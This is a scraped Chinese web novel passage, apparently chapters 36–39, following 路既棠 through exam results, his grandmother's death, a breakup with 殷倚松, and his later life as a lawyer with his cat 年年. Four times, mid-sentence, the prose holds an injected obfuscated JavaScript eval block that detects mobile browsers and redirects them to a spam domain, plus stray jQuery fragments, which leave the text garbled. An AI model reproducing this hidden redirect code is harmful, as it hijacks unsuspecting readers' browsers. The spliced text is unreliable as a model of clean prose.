白鹤生、路既棠和杨秋染三个聚在路奶奶床边,开始查成绩。 第一个查的是路既棠,在输入准考证号和密码后,页面很快加载出来。 他的成绩被屏蔽了。 页面最下方写了一句话。 “你的位次已经进入全省前50名,具体情况请于27日查询。” “天啊!”杨秋染先捂着嘴叫了起来,她怕惊到路奶奶,甚至只敢小声惊呼,她把情况告诉路奶奶之后,说道:“奶奶,路既棠好厉害!” “先别激动,”白鹤生说道,“让我也查一下。” 白鹤生的成绩也被屏蔽了。 “你们……”杨秋染太激动了,“你们太了不起了。” 最后一个查的是杨秋染,她正常发挥,最后考了一个让她称心如意的成绩,这个成绩,已经足够让她在国外挑一个非常好的学校了。 几个家长也很高兴。 就在他们查完成绩后,邓宁煜的电话打来了,“路既棠,恭喜你,市文科状元。” 路既棠一怔。 “这一届居然出了两个文科状元,”邓宁煜感叹道,“真没想到,两个文科状元都是我们班的。” 路既棠问道:“另一个是谁?” “祝汝。” “路既棠,”邓宁煜说道,“这么多年,这么多学生里,论天赋、论品性,你是我见过的最好、最难得的学生,你的路还很长远,你要好好走。” 路既棠向邓宁煜道谢。 路既棠的电话还没挂断,白鹤生也接到了七班班主任的电话。 他们放下电话后,白鹤生说道:“我说什么来着,我会拿一个状元回来。” 白鹤生,是这一届的市理科状元。 今天真的太多惊喜,路奶奶看着他们,说道:“你们都是好孩子……好孩子。” 路既棠看到了路奶奶眼里的泪光,路奶奶说:“如果你爷爷和你爸妈能看到,该有多好啊。” 路既棠走上前去,握住路奶奶的手,“奶奶,我会去看他们,和他们说。” 杨见晞问他们有没有想去的学校。 杨秋染已经差不多定下了,所以不用问。 白鹤生说道:“我要和路既棠在同一个城市,其他都行。” 杨见晞于是看向路既棠。 路既棠说出自己心里已经想过千万次的答案,“我想去我爸妈读的那所大学。” 何景研说道,“那很好了,首都有很多所大学,既棠已经想好了,鹤生也可以慢慢考虑。” 坐在路奶奶床边的杨外婆连连笑道,“真好,一切都在向好的方向走,真好。” 可惜事与愿违。 几天后,路既棠被邓宁煜叫回学校填志愿,白鹤生和他一起去。 他们刚一走,一个男人到了病房门口,他的眉毛压着眼睛,一眼看过去,就觉得此人阴郁凶狠。 来人正是殷列缺,殷倚松的父亲。 他被杨见晞的人拦下,脸上竟也没有什么异色,他微微笑道,“我有些事想要和路老师说说,是关于您丈夫路教授的。” 杨见晞不想理,却被路奶奶拦下了。 醒来的这段时间,路霜白也陆陆续续地知道了自己昏迷时发生的事,她让杨见晞将她扶坐起来,淡声说:“小晞,请他进来吧。” 不知道殷列缺和路霜白说了什么,这天过后,路霜白本来已经好转的病情,顿时急转直下。 录取通知书到的那一天,路奶奶摸着路既棠的脸,“小棠,我看到了,你是我们家最出色的孩子。” 路奶奶往日青白的面色,此刻却红润起来,“好可惜啊,小棠,我不能看着你长大了……” 跪在她床边的路既棠止不住地流泪,他哽咽道:“奶奶,十几年前,我留不住爸爸妈妈,现在我就只有您一个亲人,我求您,不要离开我。” 路霜白为路既棠擦眼泪,“小棠,昨晚我梦到你爷爷了,他来接我了,奶奶只是提前到那边为你探路,你可以当成,我们还在一个很远的地方活着……” 路既棠摇头,眼泪越流越多。 “生离死别,命运无常,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396660|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总要学会看开。”路霜白温柔地说道,“小棠,别哭啊。” 她抹尽路既棠脸上的眼泪,又轻轻抚摸了一遍路既棠的脸,目光越来越温柔,“我托了梦舒和小晞她们照顾你,小棠,你要好好的。” “小棠,我爱你,像你爸爸妈妈一样爱你。”路霜白最后说道。 一天后,路霜白辞世。 一切都像是一场梦,路既棠浑浑噩噩地跟着杨外婆和杨见晞置办奶奶的后事。 等到他终于清醒一点时,已经是两周后,他发现自己正坐在客厅里,手里拿着路奶奶还没有画完的一幅丹青,白鹤生走过来蹲下,抱住路既棠。 白鹤生平时总是笑,现在脸上却一点笑意都没有,他将路既棠搂得很紧,路既棠的下巴磕在白鹤生的肩膀上。 两个人都没说话,良久,路既棠哭出声来,“我不知道为什么会这样,”他五内俱焚、万念俱灰,哭着说,“我不知道该怨恨谁,我只是好痛苦,我太痛苦了。” 白鹤生默不作声地抚摸路既棠的脊背,试图让路既棠好受一点。 杨秋染她们正站在不远处看着他们,杨秋染想上前一步又停住了,杨外婆默默地流着眼泪,杨见晞转过去不忍心再看。 两天后,路既棠收到殷倚松发来的信息。 殷倚松约他见面。 事情到了这一步,也该做个了断了,路既棠答应了。 他们在一间茶舍里见了面。 路既棠掀开帘子走进去,看到了正在看他的殷倚松。 殷倚松很狼狈,脸颊上有一道不明显的伤,脖子还缠着绷带,在夏天里也穿着长袖,露出来的手腕上有一道还没结痂的伤口。 路既棠走过去坐下。 他先问了殷倚松的成绩。 殷倚松说道:“正常发挥,没有受影响。” 路既棠点点头,又问了殷倚松的学校。 殷倚松答了。 和自己不在同一座城市,路既棠心想,那就好。 殷倚松问道:“你都知道了,是吗?” “是。”路既棠回答。 寒假里,他知道自己喜欢殷倚松时,还满心期待考试结束之后自己和殷倚松的未来,只是他从没想过,他和殷倚松之间,居然和自己当初设想的完全不同。他怎么也没有想到会是这样的结果。 可能真是命运吧。 “你奶奶的事,我知道了,”殷倚松垂着眼,“对不起,我父亲他……” 路既棠打断他,“别说了。” 路既棠看着眼前这个人,有那么一瞬间,他居然很恨殷倚松。 殷倚松于是没再说话,他看向路既棠的目光,绝望又哀戚。 路既棠说道:“其实我真的该听白鹤生的,离你远一点,就不会沾上你们家的事,也不会连累奶奶。” 殷倚松沉默着,抿着的唇渐渐发白。 “殷倚松,”路既棠眼里的泪水无声落下,他平静地说道:“我们之间,到此为止吧,我不想再见到你。” 说完后,他没看殷倚松,径直起身走出了茶舍。 他要把这段时光,和殷倚松一起,皆抛于脑后。 这个人,他喜欢过,仅此而已。 37. 第 37 章 十年后。 “碰”地一声响,又一道急刹车后,莫非的身体因为惯性前倾,被安全带狠狠地拽回来。 后座响起一声猫叫。 莫非坐稳了,问道:“怎么回事?” “被追尾了。”主驾驶的男人回答,“您在车里坐着,我下去看看。” “今天出门前,我总觉得要出点小事,”莫非解开安全带,后座的猫已经跳上了他的肩,又顺着他的肩膀滑到他的怀里,他把猫抱好,说道,“我和你一起去吧。” 他们刚刚下车,后车的车主已经过来了。后车车主是个中年男人,他看着眼前的两个人。 一个一身黑衣,面容寡淡,没有记忆点。 另一个……穿着一件白色卫衣,十八.九岁的样子,少年气,相貌灵秀,眉心长了一颗不怎么明显的朱砂痣,手上抱着一只长相标准的奶牛猫。 两个看起来都不是硬茬,惹得起,挺好。 于是后车司机开始拔高声音说话。 五分钟后,后面车上的人发现他们还没有要结束的迹象,按了一声喇叭,也开了车门下车,走了过来。 来人站在他们几步远的地方,对着莫非两人说道:“后车实线变道,从我的车前面插.进来的,我的行车记录仪都录下来了。” 来人指了一下不远处树上一个隐蔽的摄像头,“虽然这条路基本没什么车走,但还是有摄像头的,这位先生,”来人对着中年男人说道,“按照交通法规,您应该是全责,如果协商不成的话,可以报交警。” 莫非闻言,看向来人。 那人一身深色风衣,迎风而立,身形如玉如竹,面容清俊,鼻梁上架着一副细框眼镜,一眼看过去,能隐隐感觉出来,这人骨子里透出来的一股清雅书卷气。 中年男人不说话了。 “最近的交通事故快处点离这里不足三百米,如果交警要过来,会很快。”来人说道。 中年男人咬了咬牙,对莫非两人说道,“你们想怎么样,我可说了,我没钱赔。” 黑衣男人看了莫非一眼,莫非点了点头。 黑衣男人于是对中年男人说道:“不用你赔,你可以走了。” 中年男人走后,莫非对来人说道:“今天真是谢谢你了,我叫莫非,能不能问一下你的名字?” “不客气,”那人笑了一下,“我叫路既棠。” 莫非念了一下这个名字,觉得有些耳熟,但一时想不起来在哪里听过。他摸了摸怀里的猫,猫在他怀里叫了一声。 倒是对方对他的猫很感兴趣,“你这猫,长得可真标致。”面上黑白分明,眼珠明亮有神,四爪雪白,有一种威风凛凛的虎相。 “当然,”莫非一笑,笑出了明亮的少年气,“这可是最漂亮的奶牛猫。” 对方似乎是赶时间,只说了两句话就要走,“我也有一只猫,猫丢了,我现在在找。” “等等,”莫非叫住他,“我可以帮你找找。” 莫非问道:“猫叫什么名字,是什么时候丢的,在哪里丢的?” 对方很快说道:“年年,半个小时前,也就是今早九点半,城西宠物店。” 莫非怀里的猫又跳到了他的肩膀上,他闭上了眼,一瞬后,他睁开眼说道:“在宠物店往南,大概一公里内,周围的建筑物应该是白色的。” 他问身后的黑衣男人,“那里有什么建筑物是白色的?” 黑衣男人回道:“白塔。” “这猫是不是简州猫?” 得到肯定的答复后,“猫的状态很好,”莫非继续说道,“目前没什么事。” 对方听后,面上平静,但还是问道:“这是什么术法吗?” 莫非一笑,“不是,这算是卦象吧,这世间万事万物都能起卦。” “今天多谢你,”莫非说道,“不耽误你时间了,快去吧,我们有缘再见。” 和对方告别后,莫非重新坐回了车上,“耽误的时间没有我预想的多,算是意外之喜,走吧。” “只是……这人的名字,”莫非沉吟道,“我总觉得在哪里听过,可我确实是没见过他,他长成这样,如果以前我见过他,怎么会认不出来……” “不如等您办完事了,回去问问先生。”黑衣男人笑道。 半个小时后,车驶入一处环境清幽的医院,莫非抱着猫熟练地从楼梯上去,诊室门刚好打开,在患者走出来后,莫非推开门进去。 坐在桌后的人一身白大褂,眉目微垂,正在收针,这人气质内敛,像被打磨过的雪山青松。 桌上的铭牌写了他的名字,“殷倚松。” 莫非看着对方,唤道:“师兄。” 路既棠果然在白塔外找到了他的猫。 十二月的阳光里,一只猫安静地卧在菩提树旁的台阶上,它很安静,一双冰蓝色的眼睛静静地看着路过的行人,有人要摸它,它就动作敏捷地躲避。 像是感觉到了什么,猫忽然回过头,就看到了正在踏着台阶朝它走来的路既棠。 它抖了抖耳朵,耳朵尖上的聪明毛也跟着在风中轻轻颤动。 路既棠走得近了,猫站起来,迈开腿走向路既棠。 路既棠俯身把它抱起来,“年年,怎么跑到这里来了,是不是不喜欢宠物店给你洗澡的店员,下次我们不去那里了。” 猫叫了一声,“喵。” 路既棠笑了一下。年年是只简州猫,安静不黏人,很有灵性,能听得懂人的话。 本来要送年年去常去的宠物店洗澡,但今早临时被通知,有一个庭要提前开,他急着出门,于是只能把年年放在了离法院不远的一家宠物店里。 年年不喜欢那家店的环境,他该知道的。 猫又喵了一声,路既棠抱着它站在台阶上,抬头看了一眼菩提树后的白塔,问道:“是不是喜欢这里?” “喵喵。”喜欢树。 路既棠已经学会从年年的叫声和神情里,猜出年年的意思。 他想起两年前,第一次见到年年的时候。 那时候,他刚离职,半夜在街上闲逛,走到一条街尾时,一只两个月大的简州猫窜出来,蹭到他的鞋边。 路既棠不明所以,猫太小了,耳朵尖尖,非常清秀,小尾巴勾起,它顾不上正在流着血的爪子,只细声细气地冲着某个方向哈气。 昏黄的灯光下,几道猫影闪过,五六只猫从阴影里走了出来,表情凶狠地对着灯下的一人一猫呲牙咧嘴。 小猫挨他挨得更紧了。 路既棠看明白了,小猫太小了,被几个大猫欺负,现在走投无路,没办法了,只能寻求人类的帮助。 路既棠拿过路边的一根棍子把几只大猫赶走了。 他蹲下来,看了看小猫,发现没有致命伤,于是打算走了。 他走出了街尾,身后传来细微的声音,他回过头看,发现小猫还在跟着他。 路既棠于是在街边的便利店买了火腿肠,喂给小猫吃,他对小猫说道:“我要离开这座城市了,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396661|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上你。” 喂完之后,路既棠继续走。 小猫又跟上他。 一猫一人在月光下,隔着几米远,一前一后地走。 小猫走得很慢,路既棠也走得很慢。 年幼的小猫走不动了,它喵喵地叫,声音里带着一点没人要的委屈。 路既棠听不下去了,他转身,快步向小猫走去,他不顾小猫身上的血迹,把小猫轻轻地抱进怀里。 他说道:“以后,你就是我的猫了,我是在年初遇到的你,所以你叫‘年年’好不好?” “喵喵喵!” “年年?”路既棠听到年年的叫声,回过神来,“怎么?要回家是吗,我们回去吧。” 路既棠现在住在市中心的一套三居室房子里,开门之后,他把年年放下来,添了猫粮和水后,年年走过去吃了起来。 他又进了厨房,切了蒸熟的鸡胸肉,拿去给年年吃。 年年在吃饭,他在摸年年的毛。 等给年年洗完澡,吹干净毛发后,一个下午快过去了,放在一旁的手机震了一下,路既棠划开手机屏幕,映入眼帘的是白鹤生的信息。 白鹤生给他发了一个定位。 路既棠收拾干净,看着年年上床躺进被窝后,他拿着钥匙出门了。 “这里。”白鹤生朝他打了个响指,路既棠于是看到了坐在花后的白鹤生。 这么多年过去了,白鹤生的眉眼长开了,原先桀骜不驯的气场收敛了很多,他眉目含笑,居然有点亦正亦邪的味道。 白鹤生约他在清吧里见面。 路既棠走过去坐下,“今天怎么突然来这里?” “一个同学开的,”白鹤生把一杯冰蓝色的酒推过去给他,“他极力邀请我过来捧捧场。” 路既棠将那杯酒端起来,闻了一下,一饮而尽,“挺香的。” “以前你根本喝不了酒,”白鹤生叹道,“现在居然能把酒当水喝。” 路既棠不置可否,淡声说道:“人都是会变的。” “两年前,你回到南林市之后,”白鹤生将含着的酒液吞下去之后,说道:“就一直是这副样子,唉,真是。” 路既棠平静地给自己和白鹤生续了一杯酒,“哪副样子,我不一直都是这样吗。” “对了,”路既棠说道,“席云启问……” “别跟我提他。”白鹤生打断他。 室内开着空调,白鹤生只穿了一件黑衬衫,领口松开,隐约能看见颈侧已经快要消失的吻痕。 路既棠于是没再说话了。 “在平城读高中的两年里,他看不惯我,我也看不惯他。”白鹤生气笑了,“真没想到,他就是个……” 他骂了一个很脏的词。 下一刻,店里传来一阵喧哗声。 路既棠一眼扫过去,只见大厅里一个黄衣男人在砸酒瓶,几个穿着黑色制服的服务生跑上去制止。 路既棠皱了下眉。 “发什么酒疯?”白鹤生嫌弃道,“我最讨厌发酒疯的人了。” 下一刻,黄衣男人抓起离他最近的一个服务生的衣领,将服务生拎近,最后双手掐在了服务生的脖子上。 周围的人都吓了一跳。 剩下的服务生连忙试图把黄衣男人和被掐着的服务生拉开。 黄衣男人越掐越起劲。 白鹤生霍然站起,要往外走,走之前,他看了路既棠一眼。 路既棠点头。 白鹤生去了。 38. 第 38 章 白鹤生这一动手,就打进了派出所。 作为制止不法侵害的一方,白鹤生当然是正当防卫。 做完笔录出来,已经是华灯初上时分,白鹤生摸了一下破皮流血的嘴角,笑着对路既棠说:“路大律师,有你在,打架就是省心。” 路既棠简直无言以对,他把一块手帕递给白鹤生,“我不是免死金牌,也颠倒不了黑白,你下次收着点,打这么狠,把自己也搭进去,不值得。” “我就是看不惯这人欺负服务生,”白鹤生用手帕随意地擦了一下唇角的血,“既然都是讨生活的,欺凌弱者算是什么本事,对了,那个服务生没事吧?” “没事,”路既棠说道,“他在你之前做完笔录就走了,他还得赶回去上班,走之前,他托我跟你说声谢谢。” 白鹤生看着夜色,不知道想到了什么,说道:“那服务生看起来刚成年吧,身体这么瘦弱,再遇上这种发酒疯的人,怎么吃得消。” 寒风萧萧里,路既棠目光悠远,“可能是见得多了,知道自己帮不了所有人,慢慢的,心就变硬了。” 白鹤生没再说话。 下一刻,远处的车灯闪了两下。 有人推门下车。 那人逆着灯光向他们走来,走得近了,才发现来人一身正装,看着像是从什么重要场合赶过来的,手上搭了一件黑色大衣。 那人的眉目在灯下渐渐清晰,眉目冷淡疏阔得像枝头结的冰霜。 白鹤生回头,“你让他来的?” “你不接他的电话,也不回他的信息,他只能来问我。”路既棠说道,“我们的车还在刚刚喝酒的地方,我们总不能走着回去。” 白鹤生正要再说什么,就被走到他身前的男人握住了手腕,他把大衣披上了白鹤生的肩头,才开口,男人的声音和他的气质一样冷淡,“怎么伤成这样?” 白鹤生不由分说地甩开那人的手,“你少管我。” 路既棠看他们又要吵,于是自觉退后了两步。 男人被甩开了手,面色却没有丝毫变化,他的拇指轻轻碰过白鹤生受了伤的唇角,说道:“跟我去医院,检查一下身体还有没有别的伤。” “席云启,”路既棠在场,白鹤生也不好像私底下一样吵得太过,他只能咬着牙说道,“你别以为……你就是我的谁了,早点滚回你的平城去,少在这里碍我的眼。” 不知道是哪一个字刺激到了席云启,他冷淡的面色终于有了一丝裂缝。 他将白鹤生的手抓过来,和白鹤生十指相扣,对着路既棠说道:“我先送你回家,再和鹤生去一趟医院。” 路既棠说了一个地名,“送我到那里就行,我去取一下车。” 听完后,席云启垂眸,问白鹤生:“原来今天下午你去这种地方了?” 白鹤生转过脸,不打算理对方了。 路既棠叹了一口气,他不知道怎么评价这两个人之间的感情,他看得有点心累。 这个周五过得真是丰富多彩。路既棠回到家,在玄关换鞋时想到。 年年听到他的声音,从卧室里出来了,它过来对路既棠“喵”了一声,又伸出爪子蹭了蹭路既棠的脚踝之后,就跑到阳台的猫窝里去了。 路既棠跟过去。 这里是高楼层,又因为养了猫,路既棠早早就把阳台封了。 路既棠坐在躺椅上,年年卧在猫窝里,一人一猫一齐透过落地窗往外看。 从高处俯瞰下去,能看到夜景里城市的楼幢林立、车水马龙。 路既棠右手撑着额头,默默地看了很久,在那一瞬间里,他没有来由地觉得很累。 这些年,他总觉得心里空了一块,忙起来时感觉不到,一旦闲下来,那种疲惫感和一种说不出来的情绪就会涌上来,让他连动都不想动了。 “年年。”路既棠对着猫招了招手,年年就跳上了躺椅,蜷在他的身边,他摸着年年的头,神色温柔地说道:“你说我是不是该离开南林市了?” 这里的一切都太熟悉了,他有时候总是恍惚。 明明以前的家就在附近,他却宁愿再买一套房子落脚,都不肯住回去。 家里没人等他回去了。 年年把毛茸茸的头往路既棠手心里蹭了蹭。 这个周末,路既棠待在家里,一觉睡到了早上十点。 前几年,他几乎是全年无休地工作,周末不是在加班就是在去出差的路上,回到南林市之后,他终于能自己控制案件量和工作量了。 他醒的时候,年年正趴在房间里的猫爬架上舔自己的毛,室内很温暖,路既棠坐起来,睡衣的袖子顺着手腕滑下来,他撑着额头看了一会手机,确认没有紧急的信息之后,才起来洗漱。 他先给年年放了猫粮,再去厨房做了一碗菌菇虾仁面,一边吃一边回一些咨询信息。 等信息回完了,面也吃完了。 一晃眼中午到了,路既棠开始每周一次的大扫除,三室两厅,再加上平时卫生整洁,路既棠很快就做完了。 再之后,他进书房,把前些天没读完的书拿起来接着看。年年很安静,基本不发出声音。 周末里,阳光照进来,照到书房落地窗前的文竹上,阳光随着时间一点点移动。 路既棠看得累了,拿过书房里的毛毯盖在身上,睡在书房里的矮榻上。 这几个月,莫名的,他把十年前看的书,都翻出来重看了一遍。时隔多年,再看高中时看的书,总有种时过境迁、物是人非的感觉。心境都大不一样了。 他睡熟了。 一个半小时后,路既棠搭在矮榻边上的手突然动了,他像是要抓握什么东西。 蜷在桌上的猫动作轻巧地跳下去,走到路既棠手边,却见路既棠突然惊醒后睁开的眼睛。 路既棠做了个噩梦,醒的那一瞬间却几乎全忘了,只有心口发疼。 他按住心口,半晌没有动作,不知道从什么时候开始,每隔几个月,他都会做一次记不清内容的噩梦,醒来时心口发疼,酸麻得厉害。 路既棠看着窗外的夕阳,忽然想出去走走。 虽然是十二月,但南林市还没有气温骤降的迹象,晚上出门穿件长袖和毛衣就足够了。 他牵着年年出门了。 年年走在前面,它对其他的猫狗没有兴趣,却格外钟爱路边的花草。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396662|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬天的花不多,附近的公园里只开着腊梅,有时候风一吹,树上的花会掉下来,年年就会难得兴奋地扑起来,伸出两只前爪去接。 路既棠就坐在长椅上,看着年年玩耍。 傍晚的公园里,落下的白梅铺了一地,一只简州猫就在那一地花瓣中扑半空中的落梅,穿着深色羊绒毛衣的年轻男人坐在长椅上,背影在夕阳余晖中显得格外像一幅画。 夜幕降临,路灯亮起,公园里的行人渐渐稀少。 像是看到了什么,年年脸上露出了一点惊恐的神色,它三步并作两步,飞快地向路既棠跑来,咬住路既棠的裤脚,示意路既棠快离开这里。 年年很少这么惊慌,路既棠没迟疑,抱起年年就要走。 他才走出几米,就听到背后传来的风声,与此同时,一股浸入骨头里的冷意将他冻得一停。 怀里的年年眼睛睁大。 下一刻,背后的凉意消失了。 路既棠护住怀里的猫,转身去看,只见三步远外,站着一个少年。 少年手上像是抓着什么东西,他低头飞快地念了几句什么话后,攥紧手心,过了一会,他松开了手。 少年抬起头,眉心的一点朱砂痣在灯光下居然亮得不像话。 少年正是莫非。 莫非看到了他,露出讶异的神色,“好巧,居然又遇到了你。” 路既棠不动声色地看着对方,说道:“好巧。” “我刚刚看着这边有人就过来看看,”莫非说,“是不是吓到你了,你没事吧?” “没事。”路既棠说道。 刚才,和莫非眉心朱砂痣一同亮起的,还有莫非戴在脖子上的一块小木牌。 不过两句话间,莫非眉心的朱砂痣和脖子上的木牌齐齐黯淡下去。 饶是路既棠是个唯物主义者,此刻也被莫非惊到了。 这个少年,可真是不寻常。 莫非见路既棠看了两眼自己戴在脖子上的木牌,有些苦恼地说道:“居然被你看见了,不过没事,幸好只是被你看到了。” 路既棠却没说话。 莫非离他不远,他看着莫非脖子上的木牌,菱形的木牌光滑乌沉,刻着路既棠再熟悉不过的小字。 他也有一块这样的木牌,是十一年前,他生日时,殷倚松送给他的。 他不受控制地问:“你这个木牌,是哪里来的?” 少年竟然很信任他,说道:“这是用千年桃木经雷击不死后的木料制成的,家里这么多年只做成了两块,一块给了我,一块给了我师……亲戚家的哥哥,这木牌可以辟邪保平安。” “是什么时候制成的?”路既棠顾不上礼节,径直问道。 莫非看着他,像是奇怪对方为什么对这木牌这么执着,却也还是答了,“我那时候还小,不太记得了,大概是十多年前吧。” 路既棠抱着猫的手僵住了。 这少年和殷倚松关系匪浅。 原来是这样吗。 这些年,路既棠因为工作需要也接触过某些圈子,知道千年雷击桃木是无价之宝。 当年,殷倚松居然就这样给了他。 39. 第 39 章 “这就是你的猫吗,真好看。”莫非看到了路既棠怀里的简州猫,夸道:“它叫什么名字?” “叫年年。”路既棠说道,“还没来得及谢谢你帮我找猫。” 莫非的眼睛弯起来,“不客气,可惜我今天没带踏雪——也就是我的猫出来,不然它们俩就可以见一面了,踏雪肯定会喜欢年年的。” 知道莫非和殷倚松关系匪浅后,路既棠下意识地不想和对方有太深的接触,于是说道:“以后有机会可以见一下。” 少年不知是把他的客套当了真,还是听出来意思却真的很喜欢猫,当即赞同道,“那我们加个联系方式吧,交个朋友。” 对方毕竟帮他找到了猫,于情于理,路既棠都不好拒绝。 临走前,莫非递给他一把艾草,说道:“对了,今天风大,吹多了风容易感冒发烧,回去记得用热水泡一泡脚。” 路既棠道谢。 莫非一语成谶,回到家后,当晚路既棠居然真的发起了低烧,症状不严重,睡一觉之后就退烧了。 周一,路既棠去了一趟律所。 这家律所是贺惊筠在两年前创立的。 没上大学时,因为剧本杀,路既棠和贺惊筠一直有联系,上了大学后,因为学校在同一座城市,贺惊筠经常会约路既棠出来吃饭。 贺惊筠毕业后,他的导师到了路既棠的学校工作。 路既棠读研时,兜兜转转又被分到了这位导师手下。 他们不同校,却有着同门之谊。 两年前,路既棠从上一家律所离职,恰好当时贺惊筠和戚九羿要回南林市创办律所。 贺惊筠于是问路既棠,要不要和他们一起走。 路既棠答应了。 贺惊筠是创始人,除了戚九羿和路既棠外,律所还有两位女性合伙人。 他们这个律所人很少,一切都很精简。 路既棠到时,隔壁办公室的门刚好打开,有人走了出来。 那人看起来文气而病弱,像月色下料峭春寒里初融的水。 路既棠和对方打招呼,“遥姐。” 山月遥抿唇一笑,“既棠,这周要开几个庭?” “两个。”路既棠说道,“都在本市,不用出差。” “那还好,”山月遥说道,“这周他们忙得很,知非去了苏省,这周估计都不回来,贺师兄和戚师兄最近的案件都比较多,所里也见不到他们。” “我是做非诉的,”山月遥笑,“虽然也要出差,但不用像你们那样天南地北到处跑。” 他们五个都是南林市本地人,山月遥和贺惊筠、戚九羿同一所大学,刑知非和路既棠同一所大学。 所以山月遥一直叫贺惊筠和戚九羿师兄。 “我先走了,”山月遥说道,“我约了客户早上十点见面,”她摆了摆手,“既棠,你先忙吧。” 路既棠进了自己的独立办公室,这周除了要开两个庭外,还有几份即将生效的判决书,要和当事人沟通。 该履行义务的就履行义务,该申请强制执行的就申请强制执行。 除此之外,这周他也要见一个案件的当事人。 等处理完其他案件,又到了周五,周五上午是他约了当事人见面的时间。 他开车去了医院。 每年他都会接一些法律援助的案件,现在他要代理的这个法律援助案件,是机动车交通事故责任纠纷案件,当事人要诉请交通事故人身损害赔偿。 路既棠进病房后,一个穿着鹅黄色羽绒服的女生给他倒了一杯水,“路律师,抱歉,我弟弟刚刚被护士推去检查了,只有我在。” 女生眼睛很红,像是才哭过一场,声音却很冷静,“路律师,案件收到传票了吗?” 路既棠喝了一口纸杯里的水,和女生说了案件的进展,“今早刚刚收到传票,这个月24号开庭,快了。” 女生名叫叶瑱,半年前,她母亲骑电动车搭乘她弟弟,在道路转角撞上了躲避不及的小车,她的母亲当场死亡,弟弟被送进医院,经过抢救后,保住了一条命,但一辈子都离不开轮椅了。 很快,交警了解完情况后,出具了交通事故认定书,定了事故责任,双方同责。 万幸的是,小车车主买了交强险和商业险,没有醉驾和无证驾驶等保险免责情形,叶瑱在道路救助基金工作人员的帮助下,申请了保险垫付她弟弟的医疗费用,并打算起诉了小车车主。 这个案件符合申请法律援助的条件。 后来,路既棠就接手了这个案件。 路既棠以前接过很多交通事故的案件,也认识了一些专门处理这类案件的同行。 最令路既棠惊讶的是,有一位律师曾经为当事人垫过十几万的医药费,其中种种细节路既棠并不清楚,只知道,那位律师为当事人执行回了几十万的赔偿款,最后也只收了固定的代理费用。 那时候,路既棠刚刚入行,这位律师的行为给了路既棠很深的信念。 他们这一行,是真的有纯粹的好人。 只是,好人太难得了,也太难遇到了。 叶瑱问道:“路律师,我可以去开庭吗?我想为我妈妈说几句话。” “当然可以,”路既棠说道,“你是你妈妈的近亲属,也是原告。” 自然人死亡后,由近亲属作为案件原告向法.院提起诉讼。 路既棠又问了一些案件细节后,等叶瑱的弟弟回到病房,又关照了他们二人的近况。 最后,路既棠告辞。叶瑱执意要送他到医院门口。 “如果有什么问题,可以随时联系我。”路既棠说道。 叶瑱现在还是上大学的年纪,她看起来瘦弱极了,却还是在家中经历巨变时,冷静地撑起一切。 在医院的人来人往中,叶瑱走在路既棠身边,她说道:“谢谢你,路律师。其实,我现在也不知道怎么办了,只能走一步看一步,说实话,有时候想想,真的觉得命运很残忍。” 路既棠回过头看她,目光中藏着不易察觉的悲悯,“十年前,我也说过这样的话,可是往后看,人生还是有很多可能,只是人要有能走出绝望的勇气。” 叶瑱闻言,抬头看向路既棠。 路既棠笑了一下,含着安慰的意味。 叶瑱缓缓地眨了一下眼,她叹了口气,说道:“或许很难,但我会的。” 路既棠说:“送到这里就可以了,案件的进度我会及时通知你的。” 说完之后,他就转身走了。 就在他转身的一瞬间,一行人从电梯走出。 为首的人对着走在他旁边的年轻人说道:“殷医生是殷老爷子的传人,年纪轻轻就医术了得,希望殷医生往后多来这边走走,也和医院的年轻医生多多交流。” 穿着白大褂戴着口罩的年轻人点点头,游刃有余地说着客套话,目光却看向路既棠离去的背影。 殷倚松已经记不清楚,自己是第几次在那个人看不见的地方里,默默地看着那个人了。 有那么一瞬间,他真想不顾一切地追出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396663|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是不行。 殷倚松压抑着自己的呼吸,在回应别人话语的同时,一心二用地想:“没关系,快了。” 路既棠离开医院时,刚好收到山月遥约他吃午饭的信息。 